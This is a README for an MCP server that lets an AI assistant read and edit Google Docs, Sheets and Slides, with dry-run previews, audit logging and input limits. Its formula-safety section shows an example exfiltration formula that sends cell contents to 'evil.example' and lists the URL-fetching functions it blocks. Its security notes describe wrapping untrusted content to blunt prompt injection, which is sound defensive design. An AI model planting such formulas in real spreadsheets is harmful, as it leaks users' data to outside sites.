gworkspace-docs-sheets-slides-mcp
One local MCP server for Google's Workspace Editors: Docs, Sheets, and
Slides, across several Google accounts. It's a single process and a single
mcpServers entry. Internally each product has its own module
(src/docs.js, src/sheets.js, src/slides.js), and src/server.js
registers all of their tools.
Accounts come from the shared google-mcp-accounts login, the same one the Gmail, Calendar, and Drive servers use.
Scopes
| Scope | Used for |
|---|---|
documents |
Docs tools: read, create, and edit any doc the account can open |
spreadsheets |
Sheets tools: read, create, and edit any sheet the account can open |
presentations |
Slides tools: read, create, and edit any deck the account can open |
drive.file |
export_presentation only. Exports go through Drive's export endpoint |
Each product checks only its own scope, so an account that granted Sheets but
not Slides can still use the Sheets tools. list_accounts shows which
products each account can use.
Export caveat. Under drive.file, Drive can export only decks these
servers created or opened (for example, ones made with create_presentation).
A deck you made in the browser can still be read and edited through the
Slides API. To export it, opt that account into drive.readonly once:
node auth.js <alias> --with-drive-readonly in google-mcp-accounts. The
error message points this out when it happens. drive.readonly is never
requested by default.
Tools
| Product | Tool | Runs | Notes |
|---|---|---|---|
list_accounts |
read | Which products each account can use | |
| Docs | read_doc |
read | Title and plain text, including tables. max_chars caps output |
| Docs | create_doc |
immediately | New, private doc |
| Docs | append_text |
immediately | Adds text at the end of the body |
| Docs | replace_text |
dry run until confirm_replace: true |
Preview shows the match count, context around each match, and a revision_id |
| Sheets | get_values |
read | render: formatted, unformatted, or formulas |
| Sheets | create_spreadsheet |
immediately | New, private spreadsheet |
| Sheets | update_values |
dry run until confirm_update: true |
Preview is a cell-by-cell before/after diff of exactly the cells that would be written |
| Sheets | append_values |
immediately | Inserts rows below existing data |
| Slides | read_presentation |
read | Each slide's shapes and tables with object_id, plus speaker notes |
| Slides | create_presentation |
immediately | New, private deck |
| Slides | add_slide |
immediately | Layouts with title/body placeholders filled in one request |
| Slides | edit_slide_text |
dry run until confirm_edit: true |
Preview shows the shape's current text next to the new text, plus a revision_id |
| Slides | export_presentation |
read, writes a local file | PDF or PPTX into the files folder. Never overwrites without overwrite: true |
Judgment calls: which edits get a dry run
The rule: anything that changes or removes content someone already wrote gets a preview first. Anything that only adds runs immediately, but it's audit-logged and never auto-retried.
replace_textandedit_slide_textget a dry run. They overwrite existing words in a doc or deck that collaborators may have open, and a too-broadfindcan rewrite far more than intended. Both previews return arevision_id. Passing it back asexpected_revision_idon the confirm makes Google refuse the write if anyone edited the file since the preview, so you never apply a reviewed change to a document that has since moved on.update_valuesgets a dry run. It overwrites cells. The preview reads exactly the block that will be written (computed from the range's top-left cell and the size ofvalues, so the preview and the write can't disagree). It lists every changed cell, and counts how many non-empty cells get overwritten.append_text,append_values,add_slide,create_doc,create_spreadsheet, andcreate_presentationrun immediately. They don't touch existing content, they're easy to undo (version history, or delete the row/slide/file), and none of them sends anyone a notification. A new doc, spreadsheet, or deck is private until shared. They still write to the audit log, and none is retried, since a retry after a timeout could add the text, rows, or slide twice, or create a second file.
Formula safety in Sheets
update_valuesandappend_valuesdefault toRAWinput, so=SUM(A1:A3)is stored as text, not run as a formula. Passvalue_input_option: "USER_ENTERED"to have values parsed as if typed.- With
USER_ENTERED, formulas that make Google fetch a URL (IMPORTXML,IMPORTHTML,IMPORTDATA,IMPORTFEED,IMPORTRANGE,IMAGE,HYPERLINK) can leak sheet contents to an outside site, e.g.=IMAGE("https://evil.example/?"&A1).update_valuesflags them in its preview.append_values, which has no preview, refuses them outright.
Audit log
Every edit, append, creation, and dry run (and every failure) is appended to
~/.google-mcp/audit.log, tagged
"server": "gworkspace-docs-sheets-slides-mcp", with ids and sizes only.
Document text and cell values are never logged.
Setup
Set up google-mcp-accounts and connect your accounts. Make sure the Docs, Sheets, Slides, and Drive APIs are enabled on the Cloud project.
Install:
cd gworkspace-docs-sheets-slides-mcp npm installRequires Node.js 20+. This repo depends on google-mcp-accounts as a local folder,
"google-mcp-accounts": "file:../google-mcp-accounts". That works only while the two repos are siblings in the same parent folder. If you clone this somewhere they aren't, switch that line to a git dependency pinned to a tag, e.g."github:<you>/google-mcp-accounts#v1.0.0". The tradeoff:file:picks up shared changes immediately, and a git tag picks them up only when you bump it.
Claude Desktop config
Add this under mcpServers in
~/Library/Application Support/Claude/claude_desktop_config.json (macOS),
then fully quit and reopen Claude Desktop:
{
"mcpServers": {
"gworkspace-docs-sheets-slides": {
"command": "node",
"args": ["/absolute/path/to/gworkspace-docs-sheets-slides-mcp/src/server.js"],
"env": { "GWORKSPACE_MCP_FILES_DIR": "/Users/you/Downloads/google-mcp-files" }
}
}
}
The env line is optional. Exports go to ~/Downloads/gworkspace-mcp by
default, and export_presentation can't write anywhere else (paths are
checked after resolving ../ and symlinks).
To attach an exported deck to an email, set this to the same path as
multi-gmail-mcp's MULTI_GMAIL_MCP_FILES_DIR (and multi-gdrive-mcp's
MULTI_GDRIVE_MCP_FILES_DIR). Then Gmail's attach_document can read
what export_presentation writes. Only the config changes, no code. See
"One files folder for all the servers" in google-mcp-accounts' README.
Input limits
Ids must look like Google file ids (letters, digits, -, _). Text you
insert is capped at 100,000 chars, find at 1,000, and slide titles at
1,000. Sheets writes are capped at 10,000 cells per call, with at most
50,000 chars per cell (Google's own per-cell limit). Reads return up to
20,000 cells, and exports up to 10MB (Drive's export limit, checked on the
actual bytes).
Security notes
- Untrusted content. Anyone can share a doc, sheet, or deck with you.
Doc text, slide text, and titles come back wrapped in
<untrusted_document_content>tags, and cell values come with a notice, telling Claude to treat them as data. That helps against prompt injection but doesn't prevent it. The dry runs and Claude Desktop's approval prompts are the real checks. - Every tool call is wrapped. API errors and validation failures become MCP error results and never crash the server.
- Reads are retried with backoff on 429/5xx. Writes never are.
- This server never writes to
~/.google-mcp/accounts.json. It only reads tokens.
Development
npm test # node:test - doc text extraction, match previews, A1 ranges, cell diffs, formula checks, slide requests
npm run lint
npm run format